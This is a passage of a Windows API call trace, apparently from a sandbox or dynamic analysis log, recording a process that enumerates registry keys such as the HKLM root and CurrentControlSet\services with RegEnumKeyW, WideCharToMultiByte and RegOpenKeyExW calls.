lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0239.142] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0239.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0239.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0239.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0239.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0239.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0239.144] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0239.145] RegCloseKey (hKey=0x150) returned 0x0 [0239.146] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.146] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.146] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.146] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.146] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.147] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.147] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.147] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.147] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.147] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.147] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.147] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.148] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.149] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.149] RegCloseKey (hKey=0x148) returned 0x0 [0239.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.150] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0239.150] RegCloseKey (hKey=0x150) returned 0x0 [0239.150] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.150] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1928, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.150] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.150] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.151] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.151] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1928, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.151] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.151] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.151] WideCharToMultiByte (in: CodePage=0x0, 